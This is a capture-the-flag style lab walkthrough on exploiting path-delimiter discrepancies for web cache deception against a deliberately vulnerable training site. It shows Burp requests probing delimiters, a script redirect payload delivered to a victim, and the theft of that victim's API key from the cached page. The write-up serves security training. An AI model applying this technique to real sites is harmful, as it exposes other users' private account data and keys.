# Lab: Exploiting path delimiters for web cache deception

## Identify a target endpoint

Once we have successfully logged in to the exercise, the blog should look like the following image. We click on the link “**My account**” and log in to the application with the user name `wiener` and the password `peter`.

<figure><img src="https://2110960218-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FT20JLnRLUo41Hn13Y9PL%2Fuploads%2FS8wvxCQ4CoszOUObsDWn%2F1.png?alt=media&#x26;token=45e4e037-f983-458e-b7bd-50a8a1d72d16" alt=""><figcaption></figcaption></figure>

The completed login form looks like this.

<figure><img src="https://2110960218-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FT20JLnRLUo41Hn13Y9PL%2Fuploads%2FUO6VzNKULqhxGmTnZLmi%2F2.png?alt=media&#x26;token=01e6ea36-6f2b-41ef-884d-9a105c2732ce" alt="" width="375"><figcaption></figcaption></figure>

We now see the account data of the user `wiener`. In addition to his user name, we also see his API key.

<figure><img src="https://2110960218-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FT20JLnRLUo41Hn13Y9PL%2Fuploads%2FDndZELoUstvxUDgZgpka%2F3.png?alt=media&#x26;token=70ba29cc-30d8-48c1-aadf-f73d38c88cbc" alt="" width="375"><figcaption></figcaption></figure>

## Identify path delimiters used by the origin server

We now switch to the **Burp Proxy** and open the “**HTTP history**” tab there. In the “**HTTP history**”, search for the request `GET /my-account` and send it to **Burp Repeater**.

<figure><img src="https://2110960218-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FT20JLnRLUo41Hn13Y9PL%2Fuploads%2FxzchV47b2pi5o8CTcazx%2F4.png?alt=media&#x26;token=ea483164-fac9-42da-ad11-bd1afc43d683" alt=""><figcaption></figcaption></figure>

To send the request to Burp Repeater, move the mouse over the request and press the right mouse button. A context menu appears in which we select the option "**Send to Repeater**".

<figure><img src="https://2110960218-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FT20JLnRLUo41Hn13Y9PL%2Fuploads%2FqOUAHe8VUsNPQTnxYTlZ%2F5.png?alt=media&#x26;token=98d7e170-f6fb-4458-965f-a6d3a7dd546d" alt="" width="375"><figcaption></figcaption></figure>

We now switch to the Burp Repeater and insert any character string in the first line. The request could look like this.

```
GET /my-account/abc HTTP/2
Host: 0a2e000d032dc9b18031034d00830065.web-security-academy.net
Cookie: session=f2o58mwtCbnZW6iHE01RFLyN9ZyT4rOQ
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: de-DE,de;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a2e000d032dc9b18031034d00830065.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i


```

We now send the request to the application and receive the following response.

```
HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Server: Apache-Coyote/1.1
Content-Length: 11

"Not Found"
```

As we can see, our sent path could not be found on the server. We also do not receive any information about whether data is delivered by caches. This means that the origin server does not abstract the path to `/my-account`.

Now we remove our appended string and add it to the origin path. The `GET /my-account/abc` now becomes `GET /my-accountabc`. The request should now look like this.

```
GET /my-accountabc HTTP/2
Host: 0a2e000d032dc9b18031034d00830065.web-security-academy.net
Cookie: session=f2o58mwtCbnZW6iHE01RFLyN9ZyT4rOQ
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: de-DE,de;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a2e000d032dc9b18031034d00830065.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i


```

We send the request to the application and receive the same response as from the previous attempt.

```
HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Server: Apache-Coyote/1.1
Content-Length: 11

"Not Found"
```

However, we will use this request as a reference to identify characters that are not used as separators. To do this, we send it to Burp Intruder. We move the mouse over the query and press the right mouse button, in the context menu we select the option “**Send to Intruder**”.

<figure><img src="https://2110960218-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FT20JLnRLUo41Hn13Y9PL%2Fuploads%2Ff7pc7VRJK57Zm2EPQoWF%2F7.png?alt=media&#x26;token=28cd1498-cd15-4dd3-87c1-4cecbb257359" alt="" width="213"><figcaption></figcaption></figure>

Now switch to the Burp Intruder and check whether the attack type is set to “**Sniper attack**”. This should be the case if you have restarted Burp for this exercise, as this is the default setting.

<figure><img src="https://2110960218-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FT20JLnRLUo41Hn13Y9PL%2Fuploads%2FZYtAuLSO4QLKlJ2KAPCE%2F8.png?alt=media&#x26;token=214967fe-4515-4008-81fc-a23667089a8d" alt=""><figcaption></figcaption></figure>

Now we insert a payload position in our path. To do this, click with the mouse between `/my-account` and `abc` and click on the "**Add**" button.

<figure><img src="https://2110960218-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FT20JLnRLUo41Hn13Y9PL%2Fuploads%2Fd7KUULjnwgFRlEAXhiUv%2F9.png?alt=media&#x26;token=95a501c5-f2c0-42ff-b185-29dcf2cf53b5" alt=""><figcaption></figcaption></figure>

In the next step, we go back to the start page of this exercise and copy the list of limiters.

<figure><img src="https://2110960218-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FT20JLnRLUo41Hn13Y9PL%2Fuploads%2FvXT4619H5pcstClNDZqj%2F10.png?alt=media&#x26;token=1da13e60-e320-478c-8e24-c2241b330320" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2110960218-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FT20JLnRLUo41Hn13Y9PL%2Fuploads%2F2Nou1ptSDLFGKTJVJg53%2F11.png?alt=media&#x26;token=9ef648bd-b4a0-4be5-8f83-5e9d0dc4f7ad" alt=""><figcaption></figcaption></figure>

Now we go back to Burp Intruder and click on the "**Paste**" button under "**Payload configuration**" in the "**Payload**" section. This will paste the limiters we just copied as values for our attack.

<figure><img src="https://2110960218-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FT20JLnRLUo41Hn13Y9PL%2Fuploads%2FzdrBsa2e7m7yHAQJZ0IA%2F12.png?alt=media&#x26;token=f4556504-ccde-4d39-980c-b9fa2894007d" alt="" width="375"><figcaption></figcaption></figure>

In the "**Payload encoding**" subsection, we still need to deactivate the "**URL-encode these characters**" checkbox.

<figure><img src="https://2110960218-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FT20JLnRLUo41Hn13Y9PL%2Fuploads%2FQJV5SRKCm4x8ZyzXFFvT%2F13.png?alt=media&#x26;token=71239122-beaa-4d35-8429-866b956bcc89" alt="" width="375"><figcaption></figcaption></figure>

Now we start the attack by clicking on the “**Start attack**” button.

<figure><img src="https://2110960218-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FT20JLnRLUo41Hn13Y9PL%2Fuploads%2FTdPm7mU0ChCn1draYnUu%2F14.png?alt=media&#x26;token=8141b50f-aa8c-444a-9dd0-7ee5c2f82cb4" alt=""><figcaption></figcaption></figure>

After completion, we sort the output by clicking on the "**Status code**" column. There we see that the two delimiters `;` and `?` have been given a status code of 200. All other characters have received a 404.

<figure><img src="https://2110960218-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FT20JLnRLUo41Hn13Y9PL%2Fuploads%2FPkC3xpQ1ty7dTPm3oPDX%2F15.png?alt=media&#x26;token=6df9cac0-6c52-4103-abfa-b8067752aaee" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
If you are using the Community Edition of Burp, this attack may take a little longer, as the Burp Intruder version is somewhat limited.
{% endhint %}

## Investigate path delimiter discrepancies

We switch to the Burp Repeater and add `?` to our path and at the same time refer to the static resource `abc.js`. The request should look like this:

```
GET /my-account?abc.js HTTP/2
Host: 0af2000a031a60cf83c88dd8002f004a.web-security-academy.net
Cookie: session=2MkPQDwnnmKwnOritPUgXl3y6d49RY81
Cache-Control: max-age=0
Accept-Language: de-DE,de;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Referer: https://0af2000a031a60cf83c88dd8002f004a.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i


```

If we now send this request, we do not receive any information about caching in the response. This may indicate that the cache also uses `?` as a path delimiter. The following response is somewhat shortened, but does not show any relevant caching headers.

```
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Server: Apache-Coyote/1.1
Content-Length: 3833

<!DOCTYPE html>
<html>
    <head>
        <link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
        <link href=/resources/css/labs.css rel=stylesheet>
        <title>Exploiting path delimiters for web cache deception</title>
    </head>
    <body>
        <script type="text/javascript" src="/resources/js/tracking.js"></script>
        <script src="/resources/labheader/js/labHeader.js"></script>
        <div id="academyLabHeader">
            <section class='academyLabBanner'>
                <div class=container>
                    <div class=logo></div>
                        <div class=title-container>
                            <h2>Exploiting path delimiters for web cache deception
...
```

Now we change the delimiter from `?` to `;` and send the request again. The customized request looks like this.

```
GET /my-account;abc.js HTTP/2
Host: 0af2000a031a60cf83c88dd8002f004a.web-security-academy.net
Cookie: session=2MkPQDwnnmKwnOritPUgXl3y6d49RY81
Cache-Control: max-age=0
Accept-Language: de-DE,de;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Referer: https://0af2000a031a60cf83c88dd8002f004a.web-security-academy.net/login
Accept-Encoding: gzip, deflate, br
Priority: u=0, i


```

In the response, we now see caching headers `Cache-Control` and `X-Cache`.

```
HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Server: Apache-Coyote/1.1
Cache-Control: max-age=30
Age: 0
X-Cache: miss
Content-Length: 3833

...
```

We see that the value of the header is `X-Cache: miss`. This means that the resource is not yet in the cache, if we send the request again, we get the header `X-Cache: hit`. This means that the cache does not use `;` as a path delimiter and has a cache rule based on the static extension `.js`. This payload can be used for an exploit.

{% hint style="info" %}
Sending the second request should not take longer than 30 seconds.
{% endhint %}

## Craft an exploit

In the browser, we now switch to the Exploit Server by clicking on the “**Go to exploit server**” button on the start page.

<figure><img src="https://2110960218-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FT20JLnRLUo41Hn13Y9PL%2Fuploads%2FAVGC7LRh5W1aT1mWyHTV%2F16.png?alt=media&#x26;token=f9e49a11-099c-4695-a70d-60df1197a321" alt=""><figcaption></figcaption></figure>

In the Exploit Server, we scroll down to the “**Body**” section.

<figure><img src="https://2110960218-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FT20JLnRLUo41Hn13Y9PL%2Fuploads%2FjzFle75q77YkOM9LlRKR%2F17.png?alt=media&#x26;token=824bde75-bdfc-4a22-b93c-020fbb7c28c7" alt=""><figcaption></figcaption></figure>

Here we now insert an exploit that redirects the user `carlos` to our malicious URL created earlier. To do this, we use the following HTML/JavaScript code.

```html
<script>document.location="https://0af2000a031a60cf83c88dd8002f004a.web-security-academy.net/my-account;abc.js"</script>
```

{% hint style="info" %}
The URL must be adapted to your environment.
{% endhint %}

After everything has been adjusted, we now click on the "**Deliver exploit to victim**" button and paste the address from our exploit into a new tab in the browser.

<figure><img src="https://2110960218-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FT20JLnRLUo41Hn13Y9PL%2Fuploads%2Faru3G69VjkeA0z7setDj%2F18.png?alt=media&#x26;token=9b2df7f7-3652-4bad-a202-3822b2802138" alt=""><figcaption></figcaption></figure>

```
https://0af2000a031a60cf83c88dd8002f004a.web-security-academy.net/my-account;abc.js
```

We now see the account of the user `carlos`.

<figure><img src="https://2110960218-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FT20JLnRLUo41Hn13Y9PL%2Fuploads%2FgOIQLibR1iqFp85S8yEZ%2F20.png?alt=media&#x26;token=1ea1bb5d-6996-4094-9d15-92a0881c9592" alt=""><figcaption></figcaption></figure>

We now copy the API key `iGj3hebIQ6pXX32Cfz816qmFJ43UKve6` from `carlos` and click on the "**Submit solution**" button.

<figure><img src="https://2110960218-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FT20JLnRLUo41Hn13Y9PL%2Fuploads%2FN3R2BtaqfTVL0S93GBUj%2F21.png?alt=media&#x26;token=9e75128b-de96-45f3-98a0-9d6ad3ffa821" alt=""><figcaption></figcaption></figure>

A window opens in which we enter the API key.

<figure><img src="https://2110960218-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FT20JLnRLUo41Hn13Y9PL%2Fuploads%2FaZ0RPHu7tUJexBvhWfU3%2F22.png?alt=media&#x26;token=b969476f-0dc4-48fd-b420-53ba06270c16" alt="" width="375"><figcaption></figcaption></figure>

We have successfully completed the exercise.

<figure><img src="https://2110960218-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FT20JLnRLUo41Hn13Y9PL%2Fuploads%2FEreZxwCbQOYWzkED9kEI%2F23.png?alt=media&#x26;token=5a5f8730-c277-40e7-88d7-5ce7a7e18a99" alt=""><figcaption></figcaption></figure>

## Video solution

{% embed url="<https://youtu.be/JzpkSUNw-gQ>" %}
